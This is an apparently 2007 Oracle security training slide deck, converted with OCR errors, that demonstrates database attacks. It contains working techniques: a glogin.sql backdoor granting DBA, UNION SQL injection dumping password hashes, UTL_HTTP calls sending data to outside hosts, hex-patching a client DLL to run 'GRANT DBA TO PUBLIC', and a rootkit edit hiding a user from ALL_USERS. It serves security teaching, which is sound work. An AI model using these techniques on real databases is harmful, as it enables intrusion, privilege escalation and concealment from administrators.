

Alexander Kornbrust 15-Nov-2007





### Why is Oracle Security so important?

Your databases are in danger even if you have

#### Firewalls

- Up-To-Date virus scanner
- Latest Microsoft patches
- an "unbreakable" Oracle-database with many security certifications



### Because ...

- A Firewall does not protect the database
- Database-hacks rarely happen via viruses
- Hackers are ignoring security certifications and marketing stuff



## Secure Database environment

 Oracle security does not only take place in the database. The entire environment must be secured

The entire environment consists of

Operating system

Database(s)

**Clients** applications

Application server

Applications

DBA/Developer workstations

Employee workstations



## Hacking Examples


The following slides show some ways how to hack Oracle databases.



- Since 2006 there is a new kind of USB sticks available (from Sandisk/Memorex/...). These stick have a partition which is detected as CDROM from Windows 2000 / XP.
- The free hackertool program hacksaw / switchblade replaces the default startmenue from U3 with a backdoored version. This version retrieves passwords, urls, ..images, documents from your harddisk.




## U3 USB Sticks / Switchblade



- Payload steals passwords from IE, Firefox, Messenger
- As well as documents which are send to an email account
- Extendable



## **Bypass Anti-Virus-Programs**



- Special tools allow to bypass ANY Anti-Virus-Program are available on the internet
- Do not rely on AV programs
- Price for a FUD (Fully UnDetectable) starts at
   50 USD
- Includes normally 2 updates if the malware is detected ...



# Keylogger (PS/2 and USB)

Keylogger hardware looks unobvious



Or are hidden in the keyboard



Example: Entry in the local file glogin.sql or login.sql

```
-----glogin.sql-----
 create user hacker identified by hacker;
 grant dba to hacker;
  -----glogin.sgl------
C: >sqlplus sys@ora10g as sysdba
SOL*Plus: Release 10.2.0.3.0
Copyright (c) 1983, 2006, Oracle.
Enter Password:
Connected with:
Oracle Database 10g Release 10.2.0.3.0 - Production
User created.
Privilege granted.
SOL>
```

red database Security

# Encrypt / Decrypt Passwords

Many client applications are able to encrypt the stored Oracle password.

TOAD 7.x / 8.0 - Cesar-Chiffre

-----connections.ini------[LOGIN1] SERVER=ORA10103 USER=scott PASSWORD=\*\*DYWUB\*\* -----connections.ini------

- Key: ABCDEFGHIJKLMNOPQRSTUVWXYZ QRSTUVWXYZ[\]^\_@ABCDEFGHIJ
- TOAD 8.5/8.6 is using the AES-Algorithm to encrypt/decrypt the passwords

red database Security



### Views

```
CREATE VIEW emp_emp AS
SELECT el.ename, el.empno, el.deptno
FROM scott.emp el, scott.emp e2
WHERE el.empno = e2.empno;
```

delete from emp\_emp;

➔ Vulnerabilitiy published by Oracle

Demo

02/26/07

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➔ Only Create Session Privilege needed

02/26/07

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#### Demo

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- 15\_-

```
red database
Security
              Views
     update
       (select a.* from
         (select * from
     FLOWS 020200.WWV FLOW LISTS OF VALUES$) a
            inner join
         (select * from FLOWS 020200.WWV FLOW LISTS OF VALUES
      $) b
          on (a.id =b.id)
      set LOV QUERY = 'select utl http.request(''http://
      127.0.0.1/USER=''||user) from dual'
     where lower(LOV QUERY) like '%select%'
```

➔ Only Create Session privilege needed.

02/26/07

security

**Definition SQL Injection** 

SQL Injection is a security hole that could be occur in any layer of any application (C/S, multi-tier, ...). SQL Injection is a problem of ALL databases (Oracle, MySQL, DB2, SQL Server, ...)

An attacker can trick a database into running an arbitrary, unauthorized SQL query by piggybacking extra SQL elements on top of an predefined query that was intended to be executed by the application.

Cause of the SQL injection vulnerability is a missing input validation of the data

SQL Injection is at the moment the biggest problem in the database world.



Who is responsible?

Developers are always responsible for SQL injection.

The only question is what developer is responsible.

DBAs can only mitigate the risk by restricting the privileges and harden the database (e.g. sanitize connect/resource role, restricted privileges, ... ).

# **Barcode Injection**

SQL code could also be injected using barcode as an input.

Create a barcode containing SQL statements. Barcode is nothing else then text in a different font



and 1=utl\_http:request('http://www.orasploit.com/ping')

and inject code using a barcode scanner. RFID is also a potential candidate for (SQL) code injection.



security



Insert information from the database in the current result set. Most common way of SQL Injection nowadays.

Example:

use UNION to add additional information



### **Original statement:**

select custname, custid, custorder from customer;

### **Statement with injected SQL statement:**

select custname, custid, custorder from customer union select username, null, password from dba\_users;



## Inband methods - Example

#### http://myserver:8889/reports/rwservlet?report=sqlinject3.rdf +userid=scott/tiger@ora9206+destype=CACHE+desformat=HTML

Address 🕘 http://192.168.2.172:8889/reports/rwservlet?report=c:\project\sqlinject3.rdf+userid=scott/tiger@ora9206+destype=CACHE+desformat=HTML

🔽 🔁 Go 🛛 Links

SQL Injection

Empno	Ename	Sal
7369	SMITH	800
7499	ALLEN	1600
7521	WARD	1250
7566	JONES	2975
7654	MARTIN	1250
7698	BLAKE	2850
7782	CLARK	2450
7788	SCOTT	3000
7839	KING	5000
7844	TURNER	1500
7876	ADAMS	1100
7900	JAMES	950
7902	FORD	3000
7934	MILLER	1300



### Inband methods - Example

Address 🗃 http://192.168.2.172:8889/reports/rwservlet?report=c:\project\sqlinject3.rdf+userid=scott/tiger@ora9206+destype=CACHE+desformat=HTML+paramform=yes

Berichtparameter Geben Sie die Parameterwerte ein P Where ORDER BY 1



## Inband methods -Example

Address 🙆 http://192.168.2.172:8889/reports/rwservlet?report=c:\project\sqlinject3.rdf+userid=scott/tiger@ora9206+destype=CACHE+desformat=HTML+paramform=yes

Submit Query

#### Berichtparameter

#### Geben Sie die Parameterwerte ein

P Where

UNION select NULL, USERNAME

Reset



## Inband methods - Example

Address i http://192.168.2.172:8889/reports/rwservlet?

SQL Injection

Empno	Ename	Sal
7369	SMITH	800
7499	ALLEN	1600
7521	WARD	1250
7566	JONES	2975
7654	MARTIN	1250
7698	BLAKE	2850
7782	CLARK	2450
7788	SCOTT	3000
7839	KING	5000
7844	TURNER	1500
7876	ADAMS	1100
7900	JAMES	950
7902	FORD	3000
7934	MILLER	1300
	ANONYMOUS	
	CTXSYS	
	DBSNMP	
	HR	
	MDSYS	
	ODM	


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- The following real life example (for Oracle) shows how a simple text editor could help to escalate privileges in a database or circumvent access control mechanisms.
- This issue is fixed with the latest Critical Patch Update January 2006 from Oracle and affects all databases from 8 to 10g Release 2.
- Even patchsets (10.1.0.5) which are released after the January patchset are vulnerable.
- A good example what can be done by patching client files.



- After a successful login to an Oracle database, Oracle sets the NLS language settings with the command "ALTER SESSION SET NLS..."
   ALWAYS in the context of the SYS user.
- The "alter session" SQL-command is transferred from the client to the database and executed there.



## Sample Privilege Escalation

Open the file oraclient9.dll, oraclient10.dll, libclntsh.so (Linux Instant Client), oraociei10.dll (Instant Client Win) and search for the ALTER SESSION command. SET NLS\_LANG=AMERICAN\_AMERICA to run the exploit.

🎱 - [C:\oracle	\ora	92\b	oin\o	racli	ient9	.dll]												
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0015e2f0h:	43	59	ЗD	20	27	25	2 E	2 A	73	27	20	4E	4C	53	5F	4E	;	CY= '%.*s' NLS_N
0015e300h:	55	4D	45	52	49	43	5F	43	48	41	52	41	43	54	45	52	;	UMERIC_CHARACTER
0015e310h:	53	ЗD	20	27	25	2 E	2 A	73	27	20	4E	4C	53	5F	43	41	;	S= '%.*s' NLS_CA
0015e320h:	4C	45	4E	44	41	52	ЗD	20	27	25	2 E	2 A	73	27	20	4E	;	LENDAR= '%.*s' N
0015e330h:	4C	53	5F	44	41	54	45	5F	46	4F	52	4D	41	54	ЗD	20	;	LS_DATE_FORMAT=
0015e340h:	27	25	2 E	2 A	73	27	20	4E	4C	53	5F	44	41	54	45	5F	;	'%.*s' NLS_DATE_
0015e350h:	4C	41	4E	47	55	41	47	45	ЗD	20	27	25	2 E	2 A	73	27	;	LANGUAGE= '%.*s'
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0015e380h:	4E	20	53	45	54	20	4E	4C	53	5F	4C	41	4E	47	55	41	÷	N SET NLS_LANGUA
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0015e3e0h:	4C	53	5F	4E	55	4D	45	52	49	43	5F	43	48	41	52	41	;	LS_NUMERIC_CHARA
0015e3f0h:	43	54	45	52	53	ЗD	20	27	25	2 E	2 A	73	27	20	4E	4C	;	CTERS= '%.*s' NL
0015e400h:	53	5F	43	41	4C	45	4E	44	41	52	ЗD	20	27	25	2 E	2 A	;	S_CALENDAR= '%.*

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## Sample Privilege Escalation


 Replace the "ALTER SESSION" command with "GRANT DBA TO PUBLIC--" and save the file

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0015e330h:	4C	53	5F	44	41	54	45	5F	46	4F	52	4D	41	54	ЗD	20	;	LS_DATE_FORMAT=
0015e340h:	27	25	2 E	2 A	73	27	20	4E	4C	53	5F	44	41	54	45	5F	;	'%.*s' NLS_DATE
015e350h:	4C	41	4E	47	55	41	47	45	ЗD	20	27	25	2 E	2 A	73	27	;	LANGUAGE= '%.*s
0015e360h:	20	20	4E	4C	53	5F	53	4F	52	54	ЗD	20	27	25	2 E	2 A	;	NLS_SORT= '%.
015e370h:	73	27	00	00	47	52	41	4E	54	20	44	42	41	20	54	4F	2	s'GRANT DBA 1
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0015e390h:	47	45	ЗD	20	27	25	2 E	2 A	73	27	20	4E	4C	53	5F	54	;	GE= '%.*s' NLS_
015e3a0h:	45	52	52	49	54	4F	52	59	ЗD	20	27	25	2 E	2 A	73	27	;	ERRITORY= '%.*s
015e3b0h:	20	4E	4C	53	5F	43	55	52	52	45	4E	43	59	ЗD	20	27	;	NLS_CURRENCY=
0015e3c0h:	25	2 E	2 A	73	27	20	4E	4C	53	5F		53						%.*s' NLS_ISO_(
0015e3d0h:	52	52	45	4E	43	59	ЗD	20	27	25	2 E	2 A	73	27	20	4E	;	RRENCY= '%.*s'
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)015e400h:	53	5F	43	41	4C	45	4E	44	41	52	ЗD	20	27	25	2 E	2 A	;	S CALENDAR= '%.

security



"Democracy (or anarchy) in the database"



Introduction

- Operating Systems and Databases are quite similar in the architecture.
- Both have
  - Users
  - Processes
  - Jobs
  - Executables
  - Symbolic Links

### **Definition Wikipedia:**

A rootkit is a set of tools used after cracking a computer system that hides logins, processes [...] a set of recompiled UNIX tools such as ps, netstat, passwd that would carefully hide any trace that those commands normally display.



➔ A database is a kind of operating system

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red database Security

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### Introduction

OS cmd	Oracle	SQL Server	DB2	Postgres
ps	select * from v\$process	select * from sysprocesses	list application	<pre>select * from pg_stat_activity</pre>
kill 1234	alter system kill session '12,55'	<pre>SELECT @var1 = spid FROM sysprocesses WHERE nt_username='andrew' AND spid&lt;&gt;@@spidEXEC ('kill '+@var1);</pre>	force application (1234)	
Executables	View, Package, Procedures and Functions	View, Stored Procedures	View, Stored Procedures	View, Stored Procedures
execute	<pre>select * from view; exec procedure</pre>	select * from view; exec procedure	<pre>select * from view;</pre>	<pre>select * from view; execute procedure</pre>
cd	alter session set current_schema =user01			

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 If a database is a (kind of) operating system, then it is possible to migrate malware (concepts) like viruses or rootkits from the operating system world to the database world.



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




- User management in Oracle
  - User and roles are stored together in the table SYS.USER\$
  - Users have flag TYPE# = 1
  - Roles have flag TYPE# = 0
  - Views dba\_users and all\_users to simplify access
  - Synonyms for dba\_users and all\_users



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### Hide Database Users

	Enterprise Manager (Java)	Database Control (Web)	Quest TOAD
	Benutzername ANONYMOUS CTXSYS DATA_SCHEMA DBSNMP DIP DMSYS EXFSYS FLOWS_FILES FLOWS_010500	ORACLE: Enterprise Manager 10g         Database Control         Database: ora10g3 > Users         Users         Search         Name         To run an exact match search or to run a case sensiti         Results	SYS          *         Tables       Views       Synonyms         Policy Groups       Profiles          Snapshots       Roles          Resource Groups       Resource          Java       DB Links       Users
tion Hackes	HACKER HTMLDBALEX HTMLDB_PUBLIC_USER MASTER MDDATA MDSYS MGMT_VIEW MOBILEADMIN OLAPSYS ORDPLUGINS ORDSYS OUTLN PUBLIC	SelectUserName /Account SImage: AnonymousEXPIREDImage: Construction of the second se	<ul> <li>▲ User</li> <li>▲ ANONYMOUS</li> <li>▲ CTXSYS</li> <li>DATA_SCHEMA</li> <li>DBSNMP</li> <li>④ DIP</li> <li>④ DMSYS</li> <li>④ EXFSYS</li> <li>④ FLOWS_010500</li> <li>④ FLOWS_FILES</li> <li>HACKER</li> <li>HTMLDBALEX</li> </ul>


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
### **Hide Database Users**

Add an additional line to the view





### Hide Database Users



Enterprise Manager (Java) Database Control (Web) Users Search Benutzername Name ANONYMOUS. CTXSYS. Results DATA\_SCHEMA DBSNMP DIP Select UserName DMSYS  $\odot$ EXFSYS C CTXSYS FLOWS\_FILES C DBSNMP C FLOWS\_010500 C DIP HTMLDBALEX C DMSYS HTMLDB\_PUBLIC\_USER C EXFSYS MASTER C C MDDATA C MDSYS C

#### Database: ora10q3 > Users To run an exact match search or to run a case sens Account ANONYMOUS EXPIRED EXPIRED DATA SCHEMA OPEN OPEN EXPIRED EXPIRED **EXPIRED** LOCKED FLOWS 010500 FLOWS FILES LOCKED HTMLDBALEX OPEN HTMLDB PUBLIC USER OPEN

#### Quest TOAD

SYS		
×		
Policy Sna	s   Views   Groups   apshots   irce Groups	Profiles   Roles
Java	DB Link:	s Users
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	ANONYMOU CTXSYS DATA_SCHE DBSNMP	
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	HACKER	x

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### Hide Database Users

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
 TOAD is using the view ALL\_USERS instead of DBA\_USERS. That's why the user HACKER is still visible.

Schema:	SERS View Info		1		-
	ALL_USERS	10	-		
	/iew Info Comments				
Validate	Query Format Query				
	om sys.user\$ u, sy ere u.datats# = dt and u.tempts# = tt and u.type# = 1 AND U.NAME != 'HAC	:s.ts# :s.ts#	added by 1		
Show S	JL			OK	Can
SYS@ORA					

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Now the user is gone in TOAD too...



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## Last but not least...

There is always a way into your database... You can just reduce the risk.













### Contact

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Fax: +49 - 6821 - 91 27 354
E-Mail: training@red-database-security.com